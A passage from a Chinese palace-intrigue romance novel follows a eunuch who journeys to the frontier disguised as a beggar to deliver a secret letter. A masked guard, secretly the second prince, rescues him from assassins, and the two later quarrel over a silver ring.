把船慢慢推入水,吃水正常,一点不漏,船只在水面轻轻飘着,方闻钟一个大跨步跳上去。 那两块皮毛最终被他铺在船只上,船两头翘起,中间拱起来一个大大的乌篷,为他遮住风雨和太阳。 翘着脚在船上躺了片刻,身下柔软,方闻钟一会儿翻来覆去,奇怪,他怎么觉得现在睡的铺的都更好了,还没有昨夜睡得舒服呢? 是因为昨夜太累了吗? 他一觉睡到天亮,醒来时生的火灭了,他也不知几时灭的,总之没感觉到冷。 既然躺着不舒服,方闻钟干脆站起来,这会儿风向正好,他随便划划船只就走得很快,水面比较平静,他计算着,照这个路途和方向下去,他到达想去的地方,大概要花两日多时间,会比骑马快一天多。 刚好弥补了他在固城耽搁的时间。 方闻钟想到固城,又忍不住皱起眉头,这里有不太开心的记忆,他最后朝远远的岸边看了一眼。 没见到有人跟他要船和皮毛的,他也不再操心什么怀孕的双性人男子,潇潇洒洒地向另一个地方赶紧奔去。 他很容易记得别人的好,但对他不好的,他就转眼就忘。 日头快升到中间时,方闻钟感觉船只轻轻一晃,他趴着往水面四周看了眼,没动静。 肚子饿了,方闻钟从决定一个人划船走水路就知道,自己接下来大概率会挨饿,不好过,他不太擅长抓鱼,而且这里太简陋了,也不好吃,他的干粮是一点没剩。 摸着自己的肚子,他安慰自己,还好自己挺擅长挨饿,有这个经验,接下来,一天能吃到一条鱼就不错了吧。 萧疏坐在船顶,一直等着方闻钟解决自己的温饱问题,但见他就摸着肚子发呆,打算扛过去,忍不住坐立不安。 水里的一只鱼不知道为什么,突然噗通一下跃出水面! 把方闻钟都吓了一跳!就在他眼前! 他惊奇到,水里的鱼儿这么多的吗?竟然快赶上自投罗网了? 顿时不气馁了,在船里扒拉扒拉,找出来一张勉强能用的渔网,他跪在船头,立马撒下去,悄悄等待。 可是又没动静了,“怎么没有了啊?”他自言自语。 下一瞬,感觉好多鱼儿往他这边游,方闻钟吓得立马站起来,他都能看到水下的鱼,好像他这里有什么莫名其妙的鱼饵在吸引它们! 渔网往下坠,感觉到入网了,方闻钟不贪心,赶紧往上拉! 破网最终兜兜撒撒,捞上来三只鱼,两只大的,一只小的。 方闻钟兴奋地快手舞足蹈,他运气真好啊!运气真好啊,方闻钟好激动的样子,萧疏却看到不成器的两三只鱼,一时心累。 抓着湿漉漉的鱼,方闻钟把他们摔死,然后开始犯愁,怎么吃?生吃吗? 他竟然真决定这么做了! 方闻钟闭上眼,张大嘴,一口咬在那条小鱼鱼背上! 腥味立马铺天盖地地传来,方闻钟压根不敢看,一鼓作气吃下去就行!他还准备咬下一口! 萧疏已经在上面看呆了,整个人站起来,又是无奈,又是心疼。 好端端的一个人,怎么把自己当成个无依无靠的小野人在养啊,他眼睛里突然闪过一丝水汽,萧疏闭了下眼,很快,方闻钟第二口还没咬下去时,船另一端好像响了一下。 他回头,嘴上脏兮兮地往那边走,走近一看,一扒拉,原来在一堆小破烂里还有一只破锅子,咦,他诧异,还有能生火的小炉子? 他拿起来,不可置信地对着太阳看了看,许久,腿麻了,站起来时,方闻钟已经控制不住脸上大大的笑容,这条船真是小宝藏,什么都有。 终于不用吃生的了,他少受罪,萧疏的眼睛和心灵也少受罪。 船下咕嘟咕嘟冒着香喷喷的鱼汤,船上萧疏顶着大太阳坐着,在视角盲区一直瞧他。 方闻钟不知晓,这条船,从那一晃开始,就不止他一个人。 这条自以为艰难又孤独的边关之路,也不是他一个人在坚持。 一上一下,从太阳高照到慢慢落下。 夜晚时,方闻钟彻底瞧不到萧疏了,萧疏便舒展了些,就躺在船上,萧疏修船时,特意把乌篷做的又高又大,正好方便他此时。 接下来一天一夜,方闻钟就这样抓鱼吃鱼做鱼,度过了安稳的一天,船上堆积的小破烂可能有点多,有时候总会垒不住掉下来响一下,方闻钟由一开始的警惕,后来慢慢习惯,也算是找点事做,他细细数着船上的东西,像发现什么好宝贝似的,还叫他捡到一只特别好看的贝壳。 他拿着贝壳在夜色下看,夜风很凉,原来铺在身下的一块皮毛被他裹在自己身上。 自己给自己找事做,也就不那么无聊和害怕了。 “送给殿下,”他偷偷把贝壳装起来,塞进怀里。 很快又取出来,然后再怎么看都嫌弃它有点普通了,“殿下才不会喜欢呢,”他丧气地把贝壳扔在船上,不要了。 最后半天的水路,却突然迎来了暴风雨。 天刚刚亮,方闻钟计算时辰,应该是辰时,可云层很厚,遮挡住了光,一会儿传来闪电和雷鸣,方闻钟警惕地躲在船里,手指紧紧抓好船只。 水面晃动起来,很快,大雨落下! 风也越来越大了! 方闻钟不敢冒险划船,只能非常勉强地控制着船的方向和稳定。 可他渐渐害怕起来,风雨飘摇,让他有种寂静的水面只有他一个人无助的错觉,大雨加上电闪雷鸣,他不知道自己会不会被裹挟着飘到别处去! 船桨快落在水里了!他一下扑过去死死抓住,很快,他被淋湿了大半。 方闻钟躲在乌篷下,凑合能挡住雨,他眼睛一瞬不瞬地盯着外面。 最坏的结果快来临,船只被高高扬起,方闻钟有种下一息就要翻船的错觉,他早拿好了所有最重要的东西,都准备如果真不行了再跳入水中! 他能游多远游多远! 方闻钟很害怕,但他不敢表现出来,也没人能让他求助,他生出一股害怕完不成任务的感觉,害怕再也见不到殿下,害怕葬身在这水中,谁也找不到他的尸体。 那片贝壳被他重新捡起来,死死硌着他的手。 方闻钟此时低头,才发现萧疏给他的戴在手指上的银色小环一直都在,他突然就生出了一股勇气! 他一定可以的! 整个人扒在船上,打算看情况不对就另寻他法! 雨滴越来越大,早淋湿了他的头发,雨水滑过他的眼皮,他茫然又坚定地死瞧着前方。 就在船又一下仰起来时,突然,它稳稳的翘起的一头!猛地落在水面上!砸起巨大的浪花! 好像突然有一股外力让它不得不飘在水面上稳稳行驶,然后再任外界如何喧闹,船只一直八方不动。 黑暗和暴雨间,方闻钟好像看到了一个高大的影子,落在他的船上。 下一瞬眨眼,又没有了。 他心脏砰砰乱跳着,彷佛被这神迹震惊得不知所措,他不知该如何形容,他看不见其他任何不对劲的事物,只能称之为神迹,他在心里默念,是有人在保护他吗?是殿下,或是爹娘?在保佑他…… 风雨过后,一切如常。 那个一闪而过的影子,就当是个绝望之中心中升起来的错觉。 但船只还是按时到达地方了,一切平安。 萧疏浑身湿透,比方闻钟更像个落魄的饱经风雨的水人,他在他之后,隔着挺远,才一步一步踩在岸上,衣服上落下来的水,很快湮湿了他的脚面。 手紧紧握着剑,青色的脉络聚集在白皙的手背上,他重新跟上方闻钟。 丢弃小船后,方闻钟还要骑两日马,离边关已经挺近了,他买了好多方便的干粮,接下来又恢复一开始不要命赶路的样子。 累了困了就在马背上紧紧抱着马脖子打盹,饿了渴了就喝最没味道的水啃最简单的饼,自始至终,方闻钟都没有再下马休息,跟在后面的萧疏都有些疲惫,他不明白方闻钟为什么要这么赶,难道一路跑到他大哥的大帐中去? 他要如何接近边关的军防?如何不引外人怀疑注意? 直接跑去送信可不是个好方法,萧疏很怀疑,老六既然拿这里做局,给敌国好处,那敌国必然也早派探子来注意着一举一动,要是方闻钟贸然行事,被探子警惕注意到…… 方闻钟终于从马上摔落下来,一是他实在骑不动了,连握住缰绳或抱住马都做不到,他好累好累。 二是正好方便他接下来的动作。 马自己撒欢跑了,一会儿停下来吃草休息,而方闻钟,就地躺着,缓过那阵劲,他精疲力尽地坐起来,找了个阴凉处靠着倒下去,然后掏出自己最后的干粮和水。 马儿也被方闻钟折腾得不轻,回头一看主人,接着撩蹄子直接抛下方闻钟自己逃了,远处传来马的叫声,方闻钟抬头的力气都没有。 跑了就跑了吧,反正接下来也用不到马兄了。 他拚命地把所有的食物都往嘴里塞,强迫自己狼吞虎咽,好像这是他最后一顿似的。 他有点干呕,呕完还是把东西都吃完了,肚子很撑很撑。 他的一切行为萧疏都有点猜不透,正皱眉思索着,然后见方闻钟起身把自己的衣服撕得破破烂烂,然后两只鞋脱掉,扔掉! 他很快给自己弄了两双草鞋。 本来就穿的下人的衣服,灰布黑裤,这下看起来好一番狼狈,最令人震惊的,是他捧起地上的土,一下擦到自己满头满脸,连干草都沾在头发上,还嫌不够似的,淤泥一类的东西也往脸上身上抹,露出来的手腕,脚腕,全被他糊过。 头发像梳不散的干草一样炸开来,只有那双机灵的眼睛,偶尔通过红血丝转一转,还能看到方闻钟从前的样子。 萧疏僵在原地,都有点不太敢认他了。 前方就是边关的城墙,进了这里,就是萧恪镇守的城池,看着像一个小乞丐一样的方闻钟,萧疏忽然就明白他想做什么了。 方闻钟拄着一根木棍吃力地混在人群中,往城墙走去。 进城时萧疏和方闻钟分开,进去后他好久没找到人,直到天到下午,边关迎来风沙,随着大风肆虐的,还有刮骨的寒冷,萧疏才在一群乞丐堆里找到低着头毫无痕迹的方闻钟。 他就那样掩藏在乞丐群里,衣衫褴褛,披头散发,满脸脏污,混在其中别无二致。 干裂的嘴唇,对食物的渴望,让他看起来比早上更糟糕了些。 听到有施粥的消息,方闻钟和一群乞丐一起,跌跌撞撞地爬起来往前挤,施粥的地方就在大皇子的营帐附近,这里乞丐多,赶是赶不完的,又不能都杀了,边关的将士们会强迫他们干一些活,然后给他们稀稀拉拉的粥水。 有实在混不下去就靠这口|活命的,也有偷奸耍滑的,将士们不会手软,手起刀落,就算不直接掉头,也会叫不听话的乞丐们好好尝一番苦头。 方闻钟之所以藏在乞丐群中,是因为这样最方便掩人耳目,还有机会接触到大皇子。 再者,他实在怕了再被一个普普通通的看起来是好人的人给他设圈套,或在他不注意的地方就算计他,他想远离正常的人群。 就当一个被人厌恶唾弃的乞丐,这样才没有人不怀好心地接近他。 从乞丐只言片语和他的观察中,方闻钟了解到,边关不太对劲,好像有一场战事,风雨欲来。 听到边关最近出现了很多敌国的商人,将军们把不怀好意的都抓走了,但方闻钟还是看到有人偷偷摸摸,眼神里警惕地观察着这座城池,有所图谋。 没人会注意到乞丐,方闻钟故意撞在那人身上,那人叽里咕噜说了句方闻钟没听懂的话,然后一脚把他踢在地上,方闻钟就地一滚,已经确定了,这里真的还有敌国的探子。 一切都是真的,六皇子可能真的叛国了,这里将会被他出卖给敌国,方闻钟不知道,若是大皇子没有注意,没有察觉到,就被敌国在边关打败,这里又会有多少百姓流离失所,又会死去多少人,他们的血肉会被践踏在马蹄之下,方闻钟越想越觉心中悲愤! 他一定要赶紧见到大皇子!把萧疏的信交给他! 挤着往前抢粥的人越来越多,乞丐们刚开始还有队伍,后来全跑起来,挣扎着举高自己手中的破碗,就怕把自己落下。 将士们没守住防线,一下竟然叫一群乞丐冲进去,方闻钟也在里面! 乞丐们想直接冲到大锅旁,方闻钟的目标却在右边大皇子的营帐处。 据说,大皇子和将士们同吃同喝,现在战事吃紧,他经常在这里也说得过去,“啊!”直接从锅里抢的乞丐被将士们抓住一顿打,还有好些也挨打了,但防不住挨饿的人不要命,挨打也要先抢一口吃的! 后面的也蜂拥而上,只要有人带头不守规则,这群乞丐们都跟疯了似的就怕自己得不到。 方闻钟要的就是这样的乱子,他假装被打似的,扑在地上,然后一点点往营帐中接近。 可是今天他的好运好像用完了似的,一条腿被人从后面抓住,往后一扯,紧接着钻心的痛从后背传来,一将士拿着刀直接拍在他后背上,让他动弹不得。 挤上来的乞丐多,维持秩序的将士们也越来越多,就在将军营帐附近,要是被将军看到这群乞丐这样闹还没被他们控制住,将士们可是要挨罚的。 顿时,一个个心狠手辣,不再手下留情了,也不区分有错没错的,通通围住他们,抓住就是一顿打。 此起彼伏的惨叫声连绵不绝,刚开始还能大叫,后来断断续续全是呻吟。 方闻钟也挨了好几下,他在土里抬头时,一边眼睛青肿,嘴角被他自己不小心咬破了,留下一点血。 他浑身好痛好痛,恰在此时,营帐中出现一个高大刚毅的男子!男子身着盔甲,骑着大马踏步而来,手里握着一只令人闻风丧胆的长枪。 是大皇子! 方闻钟见过他,三年前和萧疏在益州的就是他。 他一下垂下头来,所有的坚持都有意义了,他马上就要成功了,方闻钟忍不住快落下泪来。 连日的疲惫,还有此刻的寒冷和疼痛,让方闻钟鼓起最后一口气,奋力往前一扑腾! 这下他成了所有将士们的目标,竟然敢冒犯将军,顿时拳打脚踢还有武器一类的往他身上招呼。 方闻钟在众目睽睽下捂住自己的头,他不再敢抬头,他知道此时大皇子已经注意到了他,这就够了,这就够了! 被群殴间,方闻钟手里颤抖着露出一块金色的东西。 “住手!”大皇子突然喝止到。 人群散去,露出地上好似奄奄一息的方闻钟,萧恪的马踱步,他终于看清楚了这个乞丐。 单看衣着外表,他和其他乞丐没什么差别,甚至是今天受伤最重的,但是他露出来的胳膊,现在被将士们扯乱衣服,在那伤痕之下,隐隐能察觉出以前的细皮嫩肉! 最关键是,他手里露出来的一点金色牌子,萧恪不会看错,而现在,牌子又被乞丐藏起来了。 他是什么人,他有什么目的。 方闻钟此时趴在地上,艰难地侧头,他从下往上睁开肿胀的双目,吃力地看了眼大皇子,然后一直隐晦地注视着他,直到大皇子有其他动作,他才低下头垂下眼。 大皇子的长枪伸过来,在他手心拨了拨,方闻钟试探地抓住,握了一下,很快又松开。 金色牌子又被萧恪看了一眼。 他确定了。 方闻钟被他下令抓到后面处死,其他乞丐都受到了惩罚,方闻钟就在所有乞丐害怕的眼神中,成了他们之中唯一一个“死”得悄无声息的人。 “是,将军。” 被带到营帐后,很快,他被人扔在地上,“还能走吗?” 萧恪问,他的声音始终很冷静,哪怕这会儿见到伪装的拿着如朕亲临的牌子暗地里来找他的人,都没有有片刻慌乱。 “能,”方闻钟发出声音的刹那,才让所有人知道,他有多可怜。 人被带到秘密帐中,大帐内只剩两个人。 而方闻钟也洗漱干净,换好了衣服,只有身上的伤还一时半会儿好不了,更触目惊心。 萧恪看着这个大变样的小公子,实在很难把他和刚才的乞丐联系在一起,他够豁得出去,想的这个办法也很好,要不是他多加注意,说不定还真冒险死了呢。 他是父皇派来的信使?京中发生了什么? 方闻钟喝了一口热水,终于不再颤抖了,他青白的脸色,也一点点有了片刻红晕,方闻钟的眼神,由刚开始的坚毅防备,现在露出在熟稔亲近之人面前才有的委屈和机灵。 “殿下,我是二殿下派来的,”他说。 拿给萧恪萧疏的亲笔信。 “你是他什么人?”萧恪冷漠问,边迅速查看方闻钟递过来的信。 “我,我是他身边的一个太监。” 萧恪一目十行,很快看完信,信的内容让他震动不已,但面上没表现出来多少,六皇子把打仗这件事想得太简单了,就算出卖了他们的防线、兵马,萧恪也有足够的信心随机应变。 镇守边关十年,他又不是靠纸上谈兵打仗的。 但萧疏的送信,还是让他在紧张决裂的局势下,感觉到一点点心安。 信的最后,他说:“请善待欢欢,他是我的人,把他完好无损地送回来。” 欢欢?想必就是眼前这个奋不顾身的小太监,一个太监能让萧疏用到‘我的人’? 萧恪的双眸像一双头狼的招子似的在方闻钟身上扫视了一圈,然后不动声色地收回来,已经没法完好无损了,把人支使来送信,就没想过会有危险? “太监?我们是不是见过?” 萧恪身上没有皇子的居高临下和威严,他突然道,皱着眉。 方闻钟猛地抬头,很快,眼里涌出泪花,他多想,多想二殿下在和他第一次见面时,便这样说。 “没有,”方闻钟乖巧地低头,“我就是二殿下身边的一个太监。” 至少他的身份,从他进宫的那一刻起,便注定了一生如此。 第70章 他踏着尸山血海走出来。 边关的寒冷和风沙,在方闻钟完成任务松懈下来,才觉得这么难以忍受,外加他受伤,他在边关很快受凉感染风寒了。 帐中一直咳嗽,但方闻钟莫名精神头很好,萧恪来看他时,他神色很疲劳,但那双眼睛总是很有朝气看起来挺开心的。 萧恪不知道他在乐什么,萧恪比萧疏还大好几岁,比方闻钟更是大好多,他现在看他倒有点看后辈的架势。 萧疏口中的我的人,萧恪就不能把他当一个太监或下人使唤。 再者,萧恪对方闻钟还挺顺眼。 药汤是军中的大夫给开的,效果很好,方闻钟很快在梦里发起汗,他终于在最短的时日里没有暴露,把二殿下的亲笔信交到了大皇子手里,这一路虽然风波不断,但总算尘埃落地。 接下来,就不是他能左右的了。 他相信大皇子的能力,有了心理准备,他必不会钻入六皇子和敌国王子的圈套。 军防表面看还是那样,方闻钟出去偶尔观察过一次,但他清楚,萧恪的动作连他都能瞒过,必定也能瞒过城中的那些探子,要是敌国士兵真的敢来按他们的计画和提前知道的情况进攻,萧恪一定能让他们尝到巨大的苦头,有来无回。 给方闻钟送食物的一个小士兵,提着食盒往账中走去,突然出现一个严肃的黑衣男子。 那男子接过他的食盒,理直气壮,“给我。” 小士兵没反应过来,他已经把属于方闻钟的,还有另属于将军的食盒都带走了,小士兵犹犹豫豫地走了还往回看,那是将军的护卫吗? 看起来有点面生,但他在这里实在太熟悉,太理所当然,士兵没有怀疑。 萧疏揭开两个盖子看了看,萧恪的吃食不比方闻钟好多少,但好歹还多两道肉食,他皱了一下眉,平静地把两份东西换了一下,好的送到方闻钟帐中。 因为没出什么事,萧恪和方闻钟都不是在意这个的人,竟叫他偷换了两次,都没被人发现和提出。 方闻钟吃到了肉,很快风寒就好了。 这天,大皇子来找他,直截了当道:“边关马上就要打仗,你是先回京,还是等我一起回?” 方闻钟愣了一下,几乎没做思考,“我想先回去。” 话一出口,他才知道自己对二皇子的思念,压过了他对一路路程艰辛的恐惧和担忧,他能克服。 大不了这次慢点,方闻钟想到。 “好,”大皇子说:“我会派一队人马护送你回去。” 他说完方闻钟有点惊讶,“啊?” 萧恪:“萧疏没跟你说?让我把你完好无损地交回去?” 他的语调和话音太平常,明明没说什么奇怪的话,方闻钟听在耳里,却突然耳朵渐渐发红了,他微垂着头,心里莫名涌上一股热乎乎的甜蜜。“是,是这样吗?” 萧恪口中的一队人马,包括马车,以及五十个骑着马的护卫。 马车上准备了路上所有需要的东西。 和来时相比,方闻钟简直像是去享福的,他都惊住了,没想到是这么大阵仗。 但更没想到的是还在后头。 他遇上了追杀,五十个兵马都不够。 马车本来翻过一座小山脉,他们在山下盘旋的大道上走着,方闻钟坐了两天马车,也没舒服多少,还不如自己在外骑马,不过夜里他会在马车上睡觉,而其他将士们会把马牵起来,找地方安营扎寨。 他们落脚的地方一边是山脉,一边是陡坡,坡上长着杂草,顺着长长的坡下去,下边好像是不浅的深谷。 山上树木茂盛,倒是阴凉。 离开边关,方闻钟穿得厚,终于不感觉到寒冷了,捂了几天,也把伤口和粗糙的脸颊,捂回了原来白嫩的样子。 吃完简单的烤肉,将士们打猎的本事还不错,但做出的成品味道差了点,方闻钟没嫌弃,一夥人准备休息。 约莫到深夜时,先是几个将士惊醒! 然后唤醒了绝大部分人! 原来从山上冲下来一批刺客,直直往他们落脚地杀过来。 没唤醒的那几个,短短时间,就被刺客们杀了。 他们统一着装黑色的紧身衣,连头和脸都包起来,只露出一双双阴鸷的眼睛,手里的刀剑砍伤人,顿时震出一声声惨叫。 方闻钟在这突发的情境中被吓醒了! 他撩开马车,一见到外面的情况!目眦欲裂! 刺客和护卫们打得不可开交,但明显刺客们武力更胜一筹!很快,又有好几个同伴死去,方闻钟紧紧抓着马车,眼眶迅速发红。 他不能出去添乱,他稍微一露头就是送死的。 但很明显,今晚这些刺客都是冲他来的!护卫们渐渐围着他的马车打,而刺客们还想往里冲!方闻钟忽然对上一个刺客的眼神,那一瞬间他心底沉沉地发凉,害怕极了,刺客尖叫道:“他在里面!” 局势更加紧张,方闻钟一下跌坐进马车里。 他看不到外面的景象了,但护卫们一个个死去的身影和声音,好像历历在目,唰!马车左边撒上来一片热血!方闻钟透过缝隙和光晕,看到一个护卫的人头落地。 他们至死都好好保护着他,可方闻钟越看越难过,他不想这么多人因他而死,虽然可能是将士们的职责,但眼睁睁看着两三天熟起来的将士们,一个个在他面前咽气,方闻钟痛苦不已。 他决定做些什么。 从这些刺客朝着他来,想治他于死地时,方闻钟就猜到,这很可能是太子之前一直派来追杀他的人。 他以前也遇到过,只不过前几月在宫里,竟叫他忘了这事。 他在外面一点也不安全,他这几日还露了脸,这不就叫那些追杀他的人发现了。 一想到是太子派来的,他们肯定会不死不休,甚至这些大皇子的护卫们也会被一一灭口,杀干净,方闻钟顿时驾着马车,马高高昂起,就灵活地掉头想往前面跑。 他要引开他们! 方闻钟抓着缰绳的手很拚命很用力,他不知道自己这次还能不能逃出去,大难不死,他只知道不能再当个缩头乌龟看他们把护卫们都杀了,最后再来杀他。 既然已经濒临绝境,那不妨再赌一把! 赌输了,赌输了,方闻钟决绝的脸上露出一个堪称美好的笑容,那他也不负二殿下所托,他只是,可能还来不及与他告别。 马车飞快掉头跑,惊起了所有打架的人。 一时,刺客们想赶紧追上,而护卫们拦得更用力。 方闻钟头也不回地狂奔,马都要被他抽死了!马车颠来颠去,快散架了般,方闻钟一个没坐好,就被甩到车壁上,他掏出那把精致的短刀,一下狠狠插入车框中,稳住动作。 “驾!” “驾!” 护卫们还是没阻挡住,当最后一个人死去时,刺客还剩十几个,“追!” …… 方闻钟听到后面追来的声音了,前方突然没路了,下一步要么上山要么往悬崖下跑,他左右为难之际,准备就要跳出去跃上马时,忽然听到后面传来一声惊天动地的惨叫。 那声惨叫惊得方闻钟抖如筛糠,他惧怕再出现什么意料之外! 跳上马临上山前,方闻钟抽空往那边看了眼。 只见茂密的树梢上,一个穿着黑色大氅同样蒙面的男人,疾风骤雨般俯冲而下,下一瞬,残肢断臂被抛到空中。 方闻钟隔得远,他只看到一片混乱,血滴、人头、残破的身子在那一片之地乱飞,树上的树叶飘飘荡荡地落下来。 那是一个人造成的混乱。 惨叫声越来越密,那边在打斗!突然出现的一个人和刺客们打起来了,而刺客们好像全无还手之力,一时间,方闻钟眼里耳里全是刺客们一一死去的声音。 最后一个人化成残片飞出去,方闻钟禁不住驾着马悄悄往那边靠近了几步。 他看到那个男人,侧着身半跪在地上,右手抬起的剑,一片血色,剑尖滴答滴答快速地滴着血。 再往周围看去,方闻钟恐惧立上心头,只因为这里看不出一个完整的人,连人头都四分五裂,那片大地被血腥味染过了,刚被砍断的树枝,震起的树叶,终于在他们两人面前落下最后一片。 方闻钟没注意到,他驾着马,已经快靠近了男人。 男人听闻声音,起身,收起剑。 剑入鞘的声音,震得方闻钟心神一颤,只因为男人慢慢走过来,他看到了熟悉的身影。 是一直声称要在皇宫内保护他的暗卫。 他突然出现在这里。 他果然在太子的追杀下救下他性命。 血红的夜色里,暗卫抬头,盯着他,他踏着尸山血海而来。 走到方闻钟马边,牵起缰绳,替他拉着马,“吓着了,我没来迟吧?” 方闻钟在高高的马上无神地往下看他,听到这句熟悉的话,好半晌,积攒的害怕和委屈,一一扑面而来。 眼泪滴答滴答掉下去几滴,他的哭没让暗卫看到,“没有,暗卫哥哥,你来得真及时。” 他们返回去,方闻钟挖了一夜的坑,他埋了那些死去的护卫,暗卫抱着剑看他,没帮忙,方闻钟也不求帮忙,他瘫坐在埋好的坑前,心里的那股难过越来越旺盛了,他突然肩膀抖了两下,大哭起来,“暗卫哥哥!我们不能冲进皇宫把太子直接杀了吗!” “杀了他!他凭什么害死我爹娘还不够,还不放过我,还要害死这么多人!” 暗卫道:“可以,回京我就带你去杀太子。” 他平淡地答应下来,倒是把方闻钟整呆住了,他不哭了,起身拍拍身上的土,手上的血泡被他撕破,随意包了两下,他也平静地看向暗卫,“谢谢你,救了我。” 两人骑着同一匹马,翻过小山脉,哒哒在平地上走着,方闻钟身后被宽阔的身体包裹住,很温暖,害怕也渐渐散去。 下马休息片刻,方闻钟问暗卫:“你是什么时候来的啊?” 火堆在他们两人面前燃烧得很旺。 暗卫说:“今晚刚到。” “你突然离宫,知道你去宫外了,宫外对你而言更危险,所以我花了好久,才在这里意外碰到你。” 他对方闻钟解释说,是一路跟着追杀的人,才碰巧遇上。 方闻钟手臂搭在膝盖上,“真的吗?” “嗯。” 方闻钟信了。 他拨了两下火堆,幸好暗卫也不问他为什么出宫,还出现在这里,或许,他知道二皇子的安排? 方闻钟眼神疑惑,后来越来越迷惘。 之前害怕快死了的经历是真的,他真的好感激暗卫,再想想他在宫里对自己的陪伴,还冒着危险,帮他去给二殿下送吃的,他虽然现在都不露面,方闻钟不知道,以他的伪装,他蒙面下的脸是不是真的? 他银灰色的瞳色是不是真的? 但方闻钟心里对他有说不出来的很亲近的感觉,那感觉不含一丝杂色,他就想单纯地叫他声:“哥哥?” 他像一个兄长一样。 保护着自己。 方闻钟永远不知道,他在不可一世的暗卫身上察觉到的熟悉感,来源于萧疏,他只是在此刻,真情实感地拿他当亲近人看待。 “你叫什么名字呀?我真的以后要叫你‘随便’吗?” 他一声乖巧又脆生生的哥哥,让萧疏忍不住抬头看了眼迷迷糊糊可爱的方闻钟,他嘴角笑了一下,“你想叫什么,便叫什么。”随便也可以。 “那我以后就叫你哥哥吧,”方闻钟说着往萧疏这边坐着凑近了些。 “我们接下来要怎么办啊?你陪我一起回去吗?” “嗯。” “不会还有太子派来的人吧?” “来多少人都没关系。” “……二殿下在宫里还好吗?他会不会想起我?” 萧疏:“?” 人在你旁边你想宫里的? 啪嗒,方闻钟头靠在他肩上睡着了。 暗卫没有求偶权。 醒来时,方闻钟手上一直戴的银色小环不见了,暗卫也没发现什么时候丢的。 方闻钟有点着急,附近找了一圈,没找到。 暗卫问他:“那是什么?” 方闻钟说:“是殿下给我的一个暗器,里面应该有毒药吧,我不听话会控制杀死我。” 暗卫满头问号,你要不听听你在说什么?他看着埋头找得认真的方闻钟,“既然是不好的东西,你还找它干啥?丢了就丢了。” 方闻钟抬头,认真看他,他抿唇沉默不语的动作,在月色下看起来静谧又严肃,不理暗卫,继续在草里扒着找了。 萧疏抱着剑,斜倚靠在树上,他是真想不通,既然方闻钟一直以为那是暗器,何必执着丢了还要自己找回来套上。 “别找了,”他声音挺冷漠。 “哥哥,”方闻钟趴在地上一片一片找,不放过一块小地方,“你不许再说我,”虽然他对暗卫很感激,真的毫无情欲地拿他当亲人看待,但他也不想听暗卫一直唠叨他和二皇子的关系。 “行,随便你。”萧疏嗤道。 方闻钟找了好久还是没找到,他把他们休息的那片地方都找过了,渐渐失落起来,应该是之前就丢了。 虽然是个暗器,但那是他们发生关系后二殿下唯一给他的东西。 平日里看着也挺好看,殿下还尤其喜欢抱着他时转他手上的银环。 方闻钟不知道那是什么时候会要他命的毒药,但他只知道戴着那个东西,他就是二殿下的人,萧疏亲口告诉他的。 这让他有一种他们被紧密连起来的错觉,虽然可能是他一厢情愿。 方闻钟胡思乱想,忍不住摸着空荡荡的手指,越想心里越发难受。 丢了,回去殿下会生气吗?还是不在意? “哥哥,”他走过去,小声叫醒睡着的暗卫,“我想骑马回去再找一找,你,你不陪我去的话,你可以在这里等等我吗?” 萧疏直起身子,压下眉,“去哪里找?” “可能是丢在刚才打斗的地方了。” “坐着,”萧疏说,然后过去一下翻上马,俯视着方闻钟,“我去找。” 方闻钟还没反应过来,他骑着马已经迅速消失在视线里,“哎?”方闻钟焦急地大喊! 暗卫哥哥知道长什么样子吗? “怎么把我一个人留下了啊?”他低着头,坐在地上,一边嘴里说话,一边拔着草侧头看暗卫离开的方向。 他也花了好久,才找回来戒指,方闻钟驾马车落在地上了。 萧疏捡起戒指,举起来看了一下,突然笑了,真难为方闻钟误解它还这么珍惜它。 他用自己的手指,细细擦干净戒指上沾的土和血。 回来时,递给方闻钟,“找到了。” “哇啊,”方闻钟惊喜地拿着戒指,脸上露出大大的笑,他好开心的样子,本来要从暗卫手里拿过来,暗卫却躲了一下,示意他替他戴。 方闻钟乖巧地伸着手指,准备让暗卫给他重新戴在左手的中指间。 银环就要套上他指尖时,方闻钟突然突兀地收回手,捏成拳头,他有点不好意思地抬头看暗卫,语速结巴,“哥,哥哥,我自己来吧。” 他也说不上为什么,刚才一刹那,感觉很奇怪,暗卫替他戴银环的样子让他脑补出一种很神圣的场面,他无法解释那还代表着什么,却感觉,这很特殊,在他的大脑里,第一反应是只有二殿下可以替自己戴上,他也回想起了当初二殿下取下再替他套在指尖的样子。 所以在看到暗卫现在做这个重复的动作,心里突然有股想避嫌的别扭。 好心被拒绝了,暗卫把戒指扔给他。 方闻钟赶紧抱住,然后好好戴上。 抬头,暗卫哥哥生气了,转头走了不理他了。 他想跑过去哄他,却没提重新让他帮忙戴的想法,“哥哥,真的非常感谢你。” “除了谢谢就不会说别的什么了吗?”暗卫道。 方闻钟愣住,他现在觉得暗卫这一路身上的压迫感和说话的口吻,也越来越跟以前不一样了,有点,有点像二皇子,难道是他太想念殿下了? 方闻钟脑子里全是殿下殿下,就这么明晃晃地忽略了跟他说话还等他的答案的暗卫。 方闻钟对他暗卫的身份和二皇子的身份,态度这么不一样,萧疏怎么会没感觉,尤其,刚才方闻钟避嫌的动作刺了他一下,虽然理论上讲,他应该开心,可谁叫萧疏不讲道理呢,暗卫的他生气了,那也是方闻钟的错。 “二皇子面前你倒是头低得够快。” 萧疏只说态度问题,方闻钟却离奇地想到了别的什么,那一瞬间,他以为,他以为暗卫除了看到过他和二殿下第一次发生过关系的样子,还看到过后来他在二殿下面前承欢的其他样子…… 他,他说低头,是那个意思吗? 方闻钟的脸白得很快,尤其他抬头,看到暗卫有点嘲讽的眼神。 他心里钝痛,他在他眼里是什么样的人? 不知好赖,不知廉耻,心甘情愿地当着二皇子的禁脔,却嚷嚷着要报仇,要活命? 他是一个可以被二皇子随便玩弄的双性人,暗卫哥哥是这么想的吗? 他会觉得自己恶心吗? 他只是有任务保护他,嘴上不说,实际上很瞧不上他,还很看不过他在这遥遥的路途中一直惦记殿下? 方闻钟快把自己的嘴唇咬破了,萧疏一下伸出手,想把他的唇瓣解救出来,方闻钟却拍掉他伸过来的手。 迅速转头,走了,“我们,继续走吧。” 接下来跟暗卫同骑一匹马,他也尽量直着身子不接触,暗卫时间久了,自然能察觉出他的怪异。 “你怎么了?”他问道。 “没什么啊,我们还有多久到京城,到京城你就不用陪我了吧?” 他才不想在他心里,当一个被嘲笑的笑话,方闻钟能接受很多人讨厌他,对他不好欺负他,但他却很难接受他放在心里的人,实际上很不喜欢他。 他说着说着就哽咽起来了,还装得无所谓。 萧疏一把过去拉开他胳膊,这才看到他眼眶发红,刚差点哭了,要用袖子擦眼泪。 